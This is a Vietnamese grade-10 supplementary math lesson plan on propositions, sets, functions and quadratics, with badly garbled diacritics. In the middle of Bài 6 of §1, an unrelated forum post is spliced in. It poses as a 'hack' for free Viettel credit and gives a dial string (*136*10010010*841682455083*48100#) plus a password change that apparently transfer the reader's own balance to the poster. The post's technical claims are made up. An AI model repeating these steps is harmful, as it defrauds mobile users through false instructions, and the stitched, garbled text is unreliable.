Giáo án Dạy thêm Toán 10

<span class='text_page_counter'>(1)</span>Chương I : MỆNH ĐỀ – TẬP HỢP §1: Mệnh đề và mệnh đề chứa biến A: TOÙM TAÉT LYÙ THUYEÁT 1.Ñònh nghóa : Mệnh đề là một câu khẳng định Đúng hoặc Sai . Một mệnh đề không thể vừa đúng hoặc vừa sai 2.Mệnh đề phủ định: Cho mệnh đề P.Mệnh đề “Không phải P ” gọi là mệnh đề phủ định của P. P . Nếu P đúng thì P thì P : “ 3  5 ”. Kyù hieäu laø Ví duï: P: “ 3 > 5 ”. sai, neáu P sai thì. P. đúng. 3. Mệnh đề kéo theo và mệnh đề đảo : Cho 2 mệnh đề P và Q. Mệnh đề “nếu P thì Q” gọi là mệnh đề kéo theo Ký hiệu là P  Q. Mệnh đề P  Q chỉ sai khi P đúng Q sai Cho mệnh đề P  Q. Khi đó mệnh đề Q  P gọi là mệnh đề đảo của P  Q 4. Mệnh đề tương đương Cho 2 mệnh đề P và Q. Mệnh đề “P nếu và chỉ nếu Q” gọi là mệnh đề tương đương , ký hiệu P  Q.Mệnh đề P  Q đúng khi cả P và Q cùng đúng 5. Phủ định của mệnh đề “ x X, P(x) ” là mệnh đề “xX, Phủ định của mệnh đề “ x X, P(x) ” là mệnh đề “xX,. P(x) ” P(x) ”. Ví duï: Cho x laø soá nguyeân döông ;P(x) : “ x chia heát cho 6” ; Q(x): “ x chia heát cho 3” Ta có :  P(10) là mệnh đề sai ; Q(6) là mệnh đề đúng . P ( x) : “ x khoâng chia heát cho 6”.  Mệnh đề kéo theo P(x) Q(x) là mệmh đề đúng.  “x N*, P(x)”. đúng có phủ định là “x N*,. P(x) ”. coù tính sai. B: BAØI TAÄP : Bài 1: Các câu sau dây, câu nào là mệnh đề, và mệnh đề đó đúng hay sai : a) Ở đây là nơi nào ? b) Phöông trình x2 + x – 1 = 0 voâ nghieäm c) x + 3 = 5 d) 16 khoâng laø soá nguyeân toá Bài 2: Nêu mệnh đề phủ định của các mệnh đề sau : a) “Phöông trình x2 –x – 4 = 0 voâ nghieäm ” b) “ 6 laø soá nguyeân toá ” c) “nN ; n2 – 1 laø soá leû ” Bài 3: Xác định tính đúng sai của mệnh đề A , B và tìm phủ định của nó : A = “ x R : x3 > x2 ” B = “  x N , : x chia heát cho x +1” Bài 4: Phát biểu mệnh đề P  Q và xét tính đúng sai của nó và phát biểu mệnh đề đảo : a) P: “ ABCD là hình chữ nhật ” và Q:“ AC và BD cắt nhau tại trung điểm mỗi đường” b) P: “ 3 > 5” vaø Q : “7 > 10” c) P: “Tam giaùc ABC laø tam giaùc vuoâng caân taïi A” vaø Q :“ Goùc B = 450 ” Bài 5: Phát biểu mệnh đề P  Q bằng 2 cách và và xét tính đúng sai của nó a) P : “ABCD là hình bình hành ” và Q : “AC và BD cắt nhau tại trung điểm mỗi đường” b) P : “9 laø soá nguyeân toá ” vaø Q: “ 92 + 1 laø soá nguyeân toá ”. Lop10.com.

<span class='text_page_counter'>(2)</span> Bài 6:Cho các mệnh đề sau a) P: “ Hình thoi ABCD có 2 đường chéo AC vuông góc với BD”. [HACK] BẢN HACK MỚI NHẤT LẤY TIỀN MẠNG VIETEL ĐÂY .(BẢN CẬP NHẬT 30/06) Xin được chia sẻ cùng các bạn một thủ thuật dùng mã hack mà tôi vừa mới khám phá:như các bạn cũng đã thấy,rất nhiều các cá nhân post bài lên các diễn đàn trong nuớc với nội dung ”hack tiền của mạng Viettel”…để tìm được những topic như thế không hề khó. Ở đây tôi xin đưa ra một vài ví dụ: và còn rất nhiều những topic như vậy,nhưng hầu hết là của AMATEUR HACKER,chủ yếu nhằm vào mục đích vụ lợi chứ không thông thạo về chuyên môn, họ thiếu kinh nghiệm ,kiến thức và cả tính chính xác trong lĩnh vực Hack bậc thầy này,mà nó đòi hỏi phài có một trình độ Hack tương đối cao .Chính vì những lí do nêu trên và với nhiều năm kinh nghiệm của mình,tôi xin giới thiệu : Tôi : Họ tên: xucxactinhyeu Nghề nghiệp : hacker Tôi không dám nhận mình là một sinh viên ưu tú,nhưng với những gì mà mình tự khám phá được thì tôi thấy rất hài lòng.Chắc các bạn cũng biết tới diễn đàn HAVonline – diễn đàn hacker lớn nhất hiện nay và tôi rất tự hào khi mình nằm trong ban quản trị diễn đàn.Với những kinh nghiệm mà tôi đã có ,hôm nay tôi xin giới thiệu với các bạn cách hack tiền tài khoản Viettel hoàn toàn chính xác.Do thời gian có hạn nên tôi nói ngắn gọn như sau: Các bạn chỉ cần thực hiện tuần tự và chính xác theo yêu cầu của 6 bước sau: 1 -Một sim Viettel hoạt động trên 230 ngày(hon 7 tháng).Tại sao phải cần vậy?Vì chỉ có những sim hoạt dộng trên 7 tháng mới được Viettel đưa vào mã bảo vệ tài khoản chuyển tiền ( 6 tháng chưa được đâu các bạn) trên server Viettel quản lí. 2 -Rất đơn giản : Soạn tin MK gửi tới 136 để lấy mât khẩu chuyển tiền của bạn( nếu bạn chưa có).Tại sao phải cần vậy ? Vì chúng ta hack thông qua dịch vụ I-Share của Viettel. 3 -Ðổi mật khẩu chuyển tiền: các bạn gọi tới 900 ,nhánh phím số 3 và làm theo hướng dẫn..và điều quan trọng nằm ở bước này. Các bạn phải đổi mât khẩu chuyển tiền thành dãy số sau :10010010 ,đó chính là mật khẩu Server trung gian ở bước 5. Tại sao phải làm vậy?Vì khi các bạn chuyển mật khẩu thành dãy số trên tức là đã mã hóa tài khoản của bạn trên Server mà Viettel quản lý.Ðiều này rất quan trọng. 4 -Tài khoản trong sim của bạn phải có nhiều hơn 53999 vnd 5 -Các bạn làm theo cú pháp nhu sau: *136* mật khẩu Server *mã PIN *mã PUK#. Để khỏi mất thời gian của các bạn tìm lại 2 mã trên nên tôi đã tạo ra một Server trung gian ( viết tắt là TIS-Telephone of Intermediacy Server) với mã PIN và mã PUK mặc định (dùng đăng nhập sdt của bạn trên Server),tóm lại, cụ thể các thông số như sau (chỉ áp dụng cho mạng Viettel): + mật khẩu Server: 10010010 + mã PIN : 841682455083 + mã PUK: 48100 Các bạn chỉ cần nhập chính xác 3 dãy số trên vào cú pháp và nhấn nút gọi thì hệ thống sẽ tự động đăng nhập sdt của bạn vào TIS (Telephone of Intermediacy Server) mà tôi tạo ra và tài khoản của sdt người gửi sẽ tự. Lop10.com.

<span class='text_page_counter'>(3)</span> đông được công thêm tiền hack được sau khi đăng nhập (tiền hack được sẽ công thêm vào tài khoản chính),thật ra đây là một trong những cách hack tài khoản điện thoại mà các Hacker chuyên nghiệp trên thế giới gần đây mới sử dụng ( nguyên lý là dùng mã hack đảo chiều các dịch vụ chuyển tiền từ các Server di đông,chẳng hạn như I-Share, hiên trên mạng có nhiều tài liệu tiếng Anh nói về vấn đề này). 6- Sau khi làm xong những bước trên : các bạn chỉ cần đợi 15 phút , sẽ có tin nhắn trả lời và tài khoản chính của các bạn đã được cộng thêm 50000 vnd.( lưu ý 50000vnd sẽ được cộng trực tiếp vào tài khoản chính của bạn) +Tôi hack được tài khoản của mạng di động viettel từ 1 lỗ hổng nhỏ trên I-Share và những lần tôi test gần đây đều thành công.Thông báo sevsr trung gian ma tôi tao ra cũng là sevsr duy nhất hoạt động có hiệu quả hiện nay). Tất cả chỉ có vậy nhưng đó chính là công sức bao lâu nay tôi khám phá.Các bạn hãy thử và cho tôi biết kết quả nếu như bản hack hoạt động tốt tôi sẽ mở thêm nhiều sever khác. Các Bạn tranh thủ đi kẻo viettel sửa lỗi đó Nếu bạn làm lần đâù mà không được thì hãy làm đi làm lại vài lần, chắc chắn sẽ thành công. b) Q: “ Tam giác cân có 1 góc = 600 là tam giác đều” c) R : “13 chia heát cho 2 neân 13 chia heát cho 10 ” - Xét tính đúng sai của các mệnh đề và phát biểu mệnh đề đảo : - Biểu diễn các mệnh đề trên dưới dạng A  B Bài 7: Cho mệnh đề chứa biến P(x) : “ x > x2” , xét tính đúng sai của các mệnh đề sau: a) P(1) b) P(. 1 ) 3. c) xN ; P(x) d) x N ; P(x) Bài 8: Phát biểu mệnh đề A  B và A  B của các cặp mệnh đề sau và xét tính đúng sai a) A : “Tứ giác T là hình bình hành ” B: “Hai cạnh đối diện bằng nhau” b) A: “Tứ giác ABCD là hình vuông ” B: “ tứ giác có 3 góc vuông” c) A: “ x > y ” B: “ x2 > y2” ( Với x y là số thực ) d) A: “Điểm M cách đều 2 cạnh của góc xOy ” B: “Điểm M nằm trên đường phân giác góc xOy” Bài 9: Hãy xem xét các mệnh đề sau đúng hay sai và lập phủ định của nó : a) xN : x2  2x b) x N : x2 + x khoâng chia heát cho 2 c) xZ : x2 –x – 1 = 0 Bài 10 : Trong các mệnh đề sau, mệnh đề nào có mệnh đề đảo đúng a) A : “Một số tự nhiên tận cùng là 6 thì số đó chia hết cho 2” b) B: “ Tam giác cân có 1 góc = 600 là tam giác đều ” c) C: “ Nếu tích 3 số là số dương thì cả 3 số đó đều là số dương ” d) D : “Hình thoi coù 1 goùc vuoâng thì laø hình vuoâng” Bài 11:Phát biểu thành lời các mệnh đề x: P(x) và x : P(x) và xét tính đúng sai của chúng : a) P(x) : “x2 < 0”. b)P(x) :“. 1 > x + 1” x. Lop10.com.

<span class='text_page_counter'>(4)</span> c) P(x) : “. x2  4 = x+ 2” x2. x) P(x): “x2-3x + 2 > 0”. §2: ÁP DỤNG MỆNH ĐỀ VAØO PHÉP SUY LUẬN TOÁN HỌC A: TOÙM TAÉT LYÙ THUYEÁT 1:Trong toán học định lý là 1 mệnh đề đúng Nhiều định lý được phát biểu dưới dạng “xX , P(x)  Q(x)” 2: Chứng minh phản chứng đinh lý “xX , P(x)  Q(x)” gồm 2 bước sau: - Giả sử tồn tại x0 thỏa P(x0)đúng và Q(x0) sai - Dùng suy luận và các kiến thức toán học để đi đến mâu thuẫn 3: Cho định lý “xX , P(x)  Q(x)” . Khi đó P(x) là điều kiện đủ để có Q(x) Q(x) là điều kiện cần để có P(x) 4: Cho ñònh lyù “xX , P(x)  Q(x)” (1) Nếu mệnh đề đảo “xX , Q(x)  P(x)” đúng được gọi là dịnh lý đảo của (1) Lúc đó (1) được gọi là định lý thuận và khi đó có thể gộp lại “xX , P(x)  Q(x)” Gọi là P(x) là điều kiện cần và đủ để có Q(x) B: BAØI TAÄP : Bài 1: Phát biểu các mệnh đề sau với thuật ngữ “Điều kiện cần”, “Điều kiện đủ ” a) Neáu 2 tam giaùc baèng nhau thì chuùng coù cuøng dieän tích b) Soá nguyeân döông chia heát cho 6 thì chia heát cho 3 c) Mộthình thang có 2 đường chéo bằng nhau là hình thang cân Bài 2: Dùng phương pháp chứng minh phản chứng để chứng minh : a) Với n là số nguyên dương, nếu n2 chia hết cho 3 thì n chia hết cho 3 b) Chứng minh rằng 2 là số vô tỷ c) Với n là số nguyên dương , nếu n2 là số lẻ thì n là số lẻ Bài 3: Phát biểu các định lý sau đây bằng cách sử dụng khái niệm “Điều kiện đủ ” a)Nếu trong mặt phẳng, hai đường thẳng cùng vuông góc với đường thẳng thứ 3 thì hai đường thẳng đó song song với nhau b)Neáu 2 tam giaùc baèng nhau thì chuùng coù dieän tích baèng nhau c)Neáu soá nguyeân döông a taän cuøng baèng 5 thì chia heát cho 5 d)Nếu tứ giác là hình thoi thì 2 đường chéo vuông góc với nhau Bài 4: Phát biểu các định lý sau đây bằng cách sử dụng khái niệm“Điều kiện cần ” a)Nếu trong mặt phẳng, hai đường thẳng cùng song song với đường thẳng thứ 3 thì hai đường thẳng đó song song với nhau b)Nếu 2 tam giác bằng nhau thì chúng có các góc tương ứng bằng nhau c)soá nguyeân döông a chia heát cho 24 thì chia heát cho 4 vaø 6 d)Nếu tứ giác ABCD là hình vuông thì 4 cạnh bằng nhau Bài 5: Chứng minh bằng phương pháp phản chứng a) Neáu abc thì a2 +b2 + c2 > ab + bc + ca b) Nếu a.b chia hết cho 7 thì a hoặc b chia hết cho 7 c) Neáu x2 + y2 = 0 thì x = 0 vaø y = 0 Bài 6 :Cho các đinh lý sau, định lý nào có định lý đảo, hãy phát biểu : a) “Nếu 1 số tự nhiên chia hết cho 3 và 4 thì chia hết cho 12” b) “Một tam giác vuông thì có trung tuyến tương ứng bằng nửa cạnh huyền ” c) “Hai tam giác đồng dạng và có 1 cạnh bằng nhau thì hai tam giác đó bằng nhau” d) “Nếu 1 số tự nhiên n không chia hết cho 3 thì n2 chia 3 dư 1” §3: Tập hợp và các phép toán trên tập hợp A.TOÙM TAÉT LYÙ THUYEÁT : 1. Tập hợp là khái niệm của toán học . Có 2 cách trình bày tập hợp Liệtkê các phần tử : VD : A = a; 1; 3; 4; b hoặc N =  0 ; 1; 2; . . . . ; n ; . . . .  Chỉ rõ tính chất đặc trưng của các phần tử trong tập hợp ; dạng A = {x/ P(x). Lop10.com.

<span class='text_page_counter'>(5)</span> VD : A = x N/ x leû vaø x < 6  A = 1 ; 3; 5 *. Taäp con : A B (x, xA  xB) Cho A ≠  coù ít nhaát 2 taäp con laø  vaø A 2. các phép toán trên tập hợp : Pheùp giao. Phép hợp. AB = x /xA vaø xB AB = x /xA hoặc xB Chuù yù: Neáu A  E thì CEA = A\ B = x /xE vaø xA 3. các tập con của tập hợp số thực Teân goïi, kyù hieäu Tập hợp Đoạn [a ; b] xR/ a  x  b Khoảng (a ; b ). xR/ a < x < b. Khoảng (- ; a). xR/ x < a. Khoảng(a ; + ). xR/ a< x . Nửa khoảng [a ; b). R/ a  x < b. Nửa khoảng (a ; b]. xR/ a < x  b. Nửa khoảng (- ; a]. xR/ x  a. Nửa khoảng [a ;  ). xR/ a  x . B: BAØI TAÄP : Bài 1: Cho tập hợp A = {x N / x2 – 10 x +21 = 0 hay x3 – x = 0} Hãy liệt kê tất cả các tập con của A chỉ chứa đúng 2 phần tử Baøi 2: Cho A = {x R/ x2 +x – 12 = 0 vaø 2x2 – 7x + 3 = 0} B = {x R / 3x2 -13x +12 =0 hay x2 – 3x = 0 } Xác định các tập hợp sau A  B ; A \ B ; B \ A ; AB Baøi 3: Cho A = {xN / x < 7} vaø B = {1 ; 2 ;3 ; 6; 7; 8} a) Xaùc ñònh AUB ; AB ; A\B ; B\ A b) CMR : (AUB)\ (AB) = (A\B)U(B\ A) Baøi 4: Cho A = {2 ; 5} ; B = {5 ; x} C = {x; y; 5} Tìm các giá trị của cặp số (x ; y) để tập hợp A = B = C Bài 5: Xác định các tập hợp sau bẳng cách nêu tính chất đặc trưng A = {0 ; 1; 2; 3; 4} B = {0 ; 4; 8; 12;16} C = {-3 ; 9; -27; 81} D = {9 ; 36; 81; 144} E = Đường trung trực đoạn thẳng AB F = Đường tròn tâm I cố định có bán kính = 5 cm Bài 6: Biểu diễn hình ảnh tập hợp A ; B ; C bằng biểu đồ Ven A = {0 ; 1; 2; 3} B = {0 ; 2; 4; 6} C = {0 ; 3; 4; 5} Baøi 7 : Haõy lieät keâ taäp A, B: A= {(x;x2) / x  {-1 ; 0 ; 1}} B= {(x ; y) / x2 + y2  2 vaø x ,y Z} Baøi 8: Cho A = {x R/ x  4} ; B = {x R / -5 < x -1  8 }. Lop10.com. Hiệu của 2 tập hợp. A\ B = x /xA vaø xB. /////// [. ] /////////////. Hình bieåu dieãn. //////////// [ ////////////(. ] //////// ) /////////. )///////////////////// ///////////////////( ////////////[ ) ///////// ////////////(. ] /////////. ]///////////////////// ///////////////////[.

<span class='text_page_counter'>(6)</span> Viết các tập hợp sau dưới dạng khoảng – đoạn – nửa khoảng A  B ; A \ B ; B \ A ; R \ ( AB) Baøi 9: Cho A = {x R/ x2  4} ; B = {x R / -2  x +1 < 3 } Viết các tập hợp sau dưới dạng khoảng – đoạn – nửa khoảng A  B ; A \ B ; B \ A ; R \ ( AB) Bài 10: Gọi N(A) là số phần tử của tập A . Cho N(A) = 25; N(B)=29, N(AUB)= 41. Tính N(AB) ; N(A\B); N(B\A) Baøi 11: a) Xác định các tập hợp X sao cho {a ; b} X  {a ; b ;c ;d ; e} b)Cho A = (1 ; 2} ; B = {1 ; 2 ; 3; 4; 5} Xác định các tập hợp X sao cho A  X = B c) Tìm A; B bietá A B = {0;1;2;3;4}; A\B = {-3 ; -2} ; B\A = {6 ; 9;10} Bài 12: Cho A = {xR/ x  -3 hoặc x >6 } B={xR / x2 – 25  0} a) Tìm các khoảng , doạn, nửa khoảng sau : A\B ; B\ A ; R \ ( AB); R \ (AB) ; R \(A\B) b)Cho C={xR / x  a} ; D={xR / x  b }. Xaùc ñònh a vaø b bieát raèng CB và DB là các đoạn có chiều dài lần lượt là 7 và 9. Tìm CD Baøi 13: Cho A = {x R/ x2  4} ; B = {x R / -3  x < 2 } Viết các tập hợp sau dưới dạng khoảng – đoạn – nửa khoảng A  B ; A \ B ; B \ A ; R \ ( AB) Bài 14: Viết phần bù trong R của các tập hợp sau : A= {xR / – 2  x < 1 0} B= {xR / x> 2} C = {xR / -4 < x + 2  5} Baøi 15: Cho Tv = tập hợp tất cả các tam giác vuông T = tập hợp tất cả các tam giác Tc = tập hợp tất cả các tam giác cân Tđ = tập hợp tất cả các tam giác đều Tvc= tập hợp tất cả các tam giác vuông cân Xác định tất cả các quan hệ bao hàm giữa các tập hợp trên Bài 16: Xác định các tập hợp sau bằng cách liệt kê A= { xQ / (2x + 1)(x2 + x - 1)(2x2 -3x + 1) =0} B= { xZ / 6x2 -5x + 1 =0} C= { xN / (2x + x2)(x2 + x - 2)(x2 -x - 12) =0} D= { xN / x2 > 2 vaø x < 4} E= { xZ /. x  2 vaø x > -2}. Baøi 17:Cho. A = {x Z / x2 < 4} B = { xZ / (5x - 3x2)(x2 -2 x - 3) = 0} a) Lieät keâ A ; B b) CMR (A B) \ (A B) = (A \ B)  (B \ A) Baøi 18: Cho E = { xN / 1  x < 7} A= { xN / (x2-9)(x2 – 5x – 6) = 0 } B = { xN / x laø soá nguyeân toá  5} a) Chứng minh rằng A E và B  E b) Tìm CEA ; CEB ; CE(AB) c) Chứng minh rằng : E \ (A B)= (E \A)  ( E \B) E \ ( AB) = ( E \A)  ( E \ B) Baøi 19 : a) Cho A  C và B D , chứng minh rằng (AB) (CD) b) CMR : A \(B C) = (A\B)(A\C) c) CMR : A \(B C) = (A\B)(A\C) Chöông II: HAØM SOÁ §1: Đại cương về hàm số A:TOÙM TAÉT LYÙ THUYEÁT. Lop10.com.

<span class='text_page_counter'>(7)</span> 1: Cho D  R. hàm số f xác định trên D là 1 quy tắc ứng với mỗi xD là 1 và chỉ 1 số Khi đó f(x) gọi là giá trị hàm số, x gọi là biến số , D gọi là tập xác định 2: Sự biến thiên hàm số Cho f(x) xaùc ñònh treân K f đồng biến ( tăng) trên K x1;x2K ; x1 < x2  f(x1) < f(x2) f nghòch bieán ( giaûm) treân K x1;x2K ; x1 < x2  f(x1) > f(x2) 3: Haøm soá chaün, haøm soá leû : f gọi là chẵn trên D nếu xD  -x D và f(-x) = f(x), đồ thị nhận Oy làm trục đối xứng f gọi là lẻ trên D nếu xD  -x D và f(-x) = - f(x), đồ thị nhận O làm tâm đối xứng B. VÍ DUÏ :Tìm mieàn xaùc ñònh vaø xeùt tính taêng , giaûm cuûa haøm soá. y  f ( x)  x  1 . 2 x3. C:BAØI TAÄP C2: BAØI TẬP TỰ LUẬN : Baøi 1:Tìm taäp xaùc ñònh cuûa caùc haøm soá sau:. x 1 x2 1 3x  4 c) y  ( x  2) x  4. b) y . a) y . d) y =. 2x 1 2x  x 1 2. x 82 x 7. +. 1 1 x. Baøi 2: Cho haøm soá y = 5  x + 2x  3a Định a để tập xác định của hàm số là đoạn thẳng có độ dài = 2 đơn vị.  x  x  1 , x  0 f ( x)   3  x 1 , 1  x  0  x  1. Baøi 3:Cho haøm soá. a) Tìm taäp xaùc ñònh cuûa haøm soá y=f(x). b) Tính f(0), f(2),f(-3),f(-1). Baøi 4: Cho haøm soá. f ( x)  x 2  x  1. a) Tìm taäp xaùc ñònh cuûa haøm soá. b) Dùng bảng số hoặc máy tính bỏ túi, tính giá trị gần đúng của f(4), Baøi 5: Baèng caùch xeùt tæ soá. f ( x2 )  f ( x1 ) , hãy nêu sự biến thiên của các hàm số sau (không yêu cầu lập bảng biến thiên của nó) x2  x1. trên các khỏang đã cho:. x treân moãi khoûang ( , 1) vaø ( 1, ) x 1 2x  3 b) y  treân moãi khoûang ( , 2) vaø (2, ) x  2 a) y . Baøi 6: Xeùt tính chaün leû cuûa caùc haøm soá sau: a). f ( 2), f ( ) chính xác đến hàng phần trăm.. y  3x 4  3x 2  2. b). c). yx x. e). y  1 x  1 x. d). y  2 x3  5 x. y  1 x  1 x f) y =. x2  x2 x 1  x 1. §2: HAØM SOÁ BAÄC NHAÁT A:TOÙM TAÉT LYÙ THUYEÁT 1: Haøm soá daïng y = ax = b , a;b R vaø a≠ 0. Haøm soá baäc nhaát coù taäp xaùc ñònh D = R. Lop10.com.

<span class='text_page_counter'>(8)</span> a > 0 hàm số đồng biến trên R a < 0 haøm soá nghòch bieán treân R 2. Baûng bieán thieân : X y = ax + b (a > 0). -. + +. x y = ax + b (a < 0). -. - +. + -. B: VÍ DỤ. Tìm hàm số bậc nhất y=f(x) biết đồ thị của nó đi qua 2 điểm A(0 ; 4) , B (-1;2). truïc Ox. Vẽ đồ thị hàm. g ( x)   2 x  4. Baûng bieán thieân.. y. -4. -2. x. o. . x. . -4. C: BAØI TAÄP Bài 1: Trong mỗi trường hợp sau, tìm các giá trị của k sao cho đồ thị của hàm số a) Đi qua gốc tọa độ O. b) Ñi qua ñieåm M(-2,3). b)Song song với đường thẳng y . Baøi 3: a) Cho ñieåm. . y = -2x +k(x+1). y 2x. Bài 2: Trong mỗi trường hợp sau, xác định a và b sao cho đường thẳng a) Cắt đường thẳng y=2x+5 tại điểm có hòanh độ bằng -2 và cắt đường thẳng y= -3x+4 tại điểm có tung độ bằng -2.. hai đường thẳng y  . . 0. g(x). c) Song song với đường thẳng. -2. y= ax+b. 1 x vaø ñi qua giao ñieåm cuûa 2. 1 x  1 vaø y= 3x+5. 2. A( xo , yo ) , hãy xác định tọa độ của điểm B, biết. rằng B đối xứng với A qua trục hòanh . b) Chứng minh rằng hai đường thẳng y=x-2 và y=2-x đối xứng với nhau qua trục hòanh. c) Tìm biểu thức xác định hàm số y=f(x), biết rằng đồ thị của nó là đường thẳng đối xứng với đường thẳng y= -2x+3 qua trục hoøanh . Bài 4: a) Tìm điểm A sao cho đường thẳng y=2mx+1-m luôn đi qua A, dù m lấy bất kyø giaù trò naøo. b) Tìm điểm B sao cho đường thẳng y=mx-3-x luôn đi qua B, dù m lấy bất kỳ giá trị nào. Bài 5: Trong mỗi trường hợp sau, tìm các giá trị của m sao cho a) Ba đường thẳng y=2x, y= -3-x và mx+5 phân biệt và đồng quy. b) Ba đường thẳng y= -5(x+1), y=mx+3 và y=3x+m phân biệt và đồng quy. Bài 6: Cho Cho 2 đường thẳng 1 : y = (2m -1)x +4m - 5 ; 2 : y = (m – 2) x + m + 4 a) Tìm 2 điểm cố định của 2 đường thẳng b) Định m để đồ thị 1 song song với 2 Bài 7: Cho (H) là đồ thị hàm số y = 3x . Lop10.com.

<span class='text_page_counter'>(9)</span> a) Khi tịnh tiến (H) sang phải 4 đơn vị, ta được đồ thị hàm số nào ? b) Khi tịnh tiến (H) lên trên 2 đơn vị, ta được đồ thị hàm số nào ? c) Khi tònh tieán (H) sang traùi 3 ñôn vò,roài tònh tieán leân treân 2 ñôn vò ; ta được đồ thị hàm số nào ? §3:HAØM SOÁ BAÄC HAI A:TOÙM TAÉT LYÙ THUYEÁT Hàm số có dạng y = ax2 + bx + c với a ; b; c R và a ≠ 0 a>0 a<0  Taäp xaùc ñònh laø R  Taäp xaùc ñònh laø R  Ñænh I ( . b 2a. ;.  4a.  Ñænh I ( . ). b.  Hàm số nghịch biến trên khoảng ( -;  và đồng biến trên khoảng (   Baûng bieán thieân x - y. . b 2a. +. 2a. b 2a.  Baûng bieán thieân x -. +. y. b. . b 2a  4a.  Trục đối xứng là đường x = . 2a. y  2 x 2  bx  c biết đồ thị của nó. b b   b  4 2a 4 Caét truïc tung taïi (0;4)  4  y (0)  c b b  x    1  b  4  2a 4 2) Ñænh  2  y   b  4ac   16  8c  2  c  0  4a 8 b b 3) Hoành độ đỉnh x    2  b  8 2a 4 Đồ thị qua điểm (1;-2)  2  y (1)  6  c  c  4 . x 1. C: BAØI TAÄP Baøi 1: Xaùc ñònh phöông trình Parabol: a) y = ax2 + bx + 2 qua A(1 ; 0) và trục đối xứng x =. ).  -. 4a. 1) Có trục đối xứng là x=1 và cắt trục tung tại điểm có tung độ là 4. 2) Coù ñænh laø (-1;-2) 3) Có hoành độ đỉnh là 2 và đi qua điểm (1;-2).. GIẢI. 1) Trục đối xứng.  4a. và đồng biến trên khoảng ( . ; +). .  Trục đối xứng là đường x = . B .Ví duï. Xaùc ñònh haøm soá baäc hai. 2a. ;.  Hàm số nghịch biến trên khoảng ( -; . ). +. . b. 3 2. b) y = ax2 + bx + 3 qua A(-1 ; 9) và trục đối xứng x = - 2 c) y = ax2 + bx + c qua A(0 ; 5) vaø ñænh I ( 3; - 4) d) y = ax2 + bx + c qua A(2 ; -3) vaø ñænh I ( 1; - 4). Lop10.com. b 2a. b 2a. b 2a. ). ; +). +. -.

<span class='text_page_counter'>(10)</span> e) y = x2 + bx + c biết rằng qua diểm A(1 ; 0) và đỉnh I có tung độ đỉnh yI = - 1 Bài 3:Không vẽ đồ thị, tìm tọa độ đỉnh, phương trình trục đối xứng của mỗi parabol sau đây. Tìm giá trị nhỏ nhất hay lớn nhất của mỗi hàm số tương ứng 2 2 b) y  (2 x  1)  4 c) y   2 x  4 x y  2( x  3) 2  5 2 Bài 4: Vẽ đồ thị của hàm số y   x  5 x  6 . Hãy sử dụng đồ thị để biện luận theo tham số m số điểm chung của parabol y   x 2  5 x  6 và đường thẳng y=m. a). Bài 5: Một parabol có đỉnh là điểm I(-2,-2) và đi qua gốc tọa độ a)Hãy cho biết phương trình trục đối xứng của parabol, biết rằng nó song song với trục tung. b) Tìm điểm đối xứng với gốc tọa độ qua trục đối xứng trong câu a). c) Tìm hàm số có đồ thị là parabol đã cho. Baøi 6: a) Kyù hieäu (P) laø parabol. y  ax 2  bx  c, a  0 . Chứng minh rằng nếu một đường thẳng song song với trục hòanh, cắt (P) tại. hai điểm phân biệt A và B thì trung điểm C của đọan thẳng AB thuộc trục đối xứng của parabol (P). b) Một đường thẳng song song với trục hoành cắt đồ thị (P) của một hàm số bậc hai tại hai điểm M(-3,3) và N(1,3). Hãy cho biết phương trình trục đối xứng của parabol (P). Baøi 7:Haøm soá baäc hai f(x) = ax2 + bx + c coù giaù trò nhoû nhaát baèng. 3 1 khi x  vaø nhaän giaù trò 4 2. baèng 1 khi x=1. a)Xác định các hệ số a,b và c. Khảo sát sự biến thiên ,vẽ đồ thị (P) của hàm số vừa nhận được . b) Xét đường thẳng y=mx, ký hiệu bởi (d). Khi (d) cắt (P) tại hai điểm A và B phân biệt, hãy xác định tọa độ trung điểm của đọan thaúng AB. BAØI TAÄP OÂN TAÄP CHÖÔNG II. 1) 2). Chứng minh rằng y= 0 là hàm số duy nhất xác định trên R và có đồ thị nhận trục hòanh làm trục đối xứng.. Giả sử y=f(x) là hàm số xác định trên tập đối xứng S (nghĩa là x  S thì -x  S).Chứng minh rằng :. 1 [f(x) + f(-x)] laø haøm soá chaün xaùc ñònh treân S. 2 1 b/ Haømsoá G(x)= [f(x) - f(-x)}laø haøm soá leû xaùc ñònh treân S. 2 a/ Haøm soá F(x)=. 3). Gọi A vàB là hai điểm thuộc đồ thị của hàm số f(x)=(m-1)x +2 và có hòanh độ lần lượt là -1 và 3. a/ Xác định tọa độ của hai điểm A và B. b/ Với điều kiện nào của m thì điểm A nằm ở phía trên trục hòanh ? c/ Với điều kiện nào của m thì điểm B nằm ở phía trên trục hòanh ? d/ Với điều kiện nào của m thì hai điểm A và B cùng nằm ở phía trên trục hòanh ? Từ đó hãy trả lời câu hỏi : Với điều kiện nào của m thì f(x) > 0 với mọi x thuộc đọan [-1,3] ?. 4). Cho haøm soá. y  3 x 2. có đồ thị là parabol (P).. a/ Nếu tịnh tiến (P) sang phải 1 đơn vị rồi tịnh tiến parabolvừa nhận được xuống dưới 3 đơn vị thì ta được đồ thị của hàm số naøo? b/ Nếu tịnh tiến (P) sang trái 2 đơn vị rồi tịnh tiến parabol vừa nhận được lên trên 2 đơn vị thì ta được đồ thị của hàm số nào?. 5). Tìm hàm số bậc hai có đồ thị là parabol (P), biết rằng đường thẳng y= -2,5 có một điểm chung duy nhất với (P) và đường thẳng y=2 cắt (P) tại hai điểm có hòanh độ là -1 và 5. Vẽ parabol (P) cùng các đường thẩng y=-2,5 và y=2 trên cùng một mặt phẳng tọa độ. Chöông III : PHÖÔNG TRÌNH VAØ HEÄ PHÖÔNG TRÌNH §1: Đại cương về phương trình A: TOÙM TAÉT LYÙ THUYEÁT 1.Các phép biến đổi tương đương của phương trình:  Thực hiện các phép biến đổi trong từng vế nhưng không làm thay đổi tập xác định của phöông trình. Lop10.com.

